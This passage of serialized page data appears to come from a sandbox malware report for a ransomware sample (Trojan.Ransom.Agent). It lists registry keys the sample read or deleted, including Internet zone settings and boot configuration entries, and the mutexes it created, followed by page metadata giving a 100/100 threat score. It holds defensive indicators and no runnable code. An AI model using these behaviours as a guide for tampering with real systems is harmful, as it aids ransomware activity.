SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{CF812051-D863-11E7-AE2B-A9D1A6F40333}\\ELEMENTS\\16000009\\","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{CF812051-D863-11E7-AE2B-A9D1A6F40333}\\ELEMENTS\\250000E0\\","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\NWLMW\\","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\HtPTpznMYPK","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"HtPTpznMYPK","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]}]}},"report_ids":{"sandbox_job_ids":["5c766d1b7eccd23859931b6a"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Ransom.Agent Sample 8f20197da8f4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 8f20197da8f4…. Malware family: Trojan.Ransom.Agent. Threat score 100/100. 21/27 AV engines flagged this file. 9 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Ransom.Agent Sample 8f20197da8f4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 8f20197da8f4…. Malware family: Trojan.Ransom.Agent. Threat score 100/100. 21/27 AV engines flagged this file. 9 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Ransom.Agent Sample 8f20197da8f4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 8f20197da8f4…. Malware family: Trojan.Ransom.Agent. Threat score 100/100. 21/27 AV engines flagged this file. 9 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L30","11",{}]]